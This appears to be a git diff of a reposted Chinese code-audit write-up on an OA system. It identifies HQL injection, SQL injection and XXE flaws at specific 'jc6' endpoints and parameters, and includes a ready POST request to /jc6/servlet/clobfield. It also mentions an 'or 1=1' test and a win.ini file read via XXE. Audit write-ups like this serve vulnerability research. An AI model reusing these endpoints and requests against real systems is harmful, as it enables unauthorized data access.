@ -1,5 +1,7 @@
|
||||
# 某OA代码审计之挖掘0day,未公开poc
|
||||
乌雲安全 2025-05-10 03:58
|
||||
黑白之道 2025-05-17 09:42
|
||||
|
||||

|
||||
|
||||
参与的众测项目,资产非常难挖掘漏洞,所以只能通过审计的方式,找找漏洞点
|
||||
|
||||
@ -11,24 +13,21 @@
|
||||
|
||||
你他马勒戈壁,回答我,你的安全是谁教的,这他妈不是漏洞吗,look in my eyes
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
路由关系寻找
|
||||
|
||||
开始正题,第一次审计,所以不太了解路由关系,大致看了看代码结构,发现相对简单点。
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
整体文件那么多,主要是关注 WEB-INF/jsp 文件夹,这是对应的视图文件,也就是访问 web 页面的 jsp 文件。
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
我并没有分析那些需要鉴权,那些不需要鉴权。
|
||||
|
||||
@ -40,9 +39,8 @@ jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action
|
||||
|
||||
然后再其次就是关注后台文件,也就是 lib 下的 jcs-xx.jar文件,这才是后端代码。
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
根据上面的路径
|
||||
|
||||
@ -55,9 +53,8 @@ HQL注入
|
||||
|
||||
经过我不懈的努力,在 jsp 页面中,找到了一个参数
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
那如何在后段代码,找到对应方法呢
|
||||
|
||||
@ -67,19 +64,16 @@ main.action!viewConTemplate.action==main.action?方法名=viewConTemplate
|
||||
|
||||
portalweb-datasource.jsp则是前端的文件,后端也会存在对应的路由,然后方法名则是下面的,getTemplateOpt
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
这里有typeFlag参数,我们跟踪getAllTemplates方法
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
直接对应了接口名称,往下跟,就到了数据库层面了
|
||||
```
|
||||
@ -93,9 +87,8 @@ portalweb-datasource.jsp则是前端的文件,后端也会存在对应的路
|
||||
```
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
直接是拼接的 sql 语句
|
||||
|
||||
@ -103,17 +96,14 @@ portalweb-datasource.jsp则是前端的文件,后端也会存在对应的路
|
||||
|
||||
jc6/platform/portalwb/dataSource/portalwb-data-source!getTemplateOpt.action?moduId=1&typeFlag=1
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
仅限于 or 1=1 也尝试构造数据包读取数据库
|
||||
|
||||
@ -124,31 +114,27 @@ SQL 注入
|
||||
|
||||
jcs-eform-java-1.5.0-SNAPSHOT.jar
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
clobfield这个接口,网上有,也是我审计之后发现的,不过目标系统存在这个接口,注入点变成了sKeyname
|
||||
|
||||
通过req获取请求参数,参数跟进
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
clobfield1 存在查询语句
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
直接拼接,无过滤
|
||||
|
||||
构造访问参数,需要满足key包含readClob
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
```
|
||||
POST /jc6/servlet/clobfield HTTP/1.1
|
||||
Host:
|
||||
@ -166,18 +152,16 @@ key=readClob&sImgname=1&sTablename=1&sKeyvalue=1&sKeyname=1
|
||||
```
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
XXE 漏洞
|
||||
|
||||
想着,这几个servlet 有两三个接口都存在漏洞,那么剩下的是不是也存在。
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
post方式,创建SAXReader,用来读取xml信息,全程代码就那么多,可见未过滤任何信息
|
||||
|
||||
@ -185,27 +169,29 @@ post方式,创建SAXReader,用来读取xml信息,全程代码就那么多
|
||||
|
||||
dnslog 尝试
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
然后就是读取windows/win.ini
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
|
||||
我感觉那么简单的漏洞,应该是被提交了
|
||||
|
||||
果不其然
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
|
||||
|
||||
如侵权请私聊我们删文
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user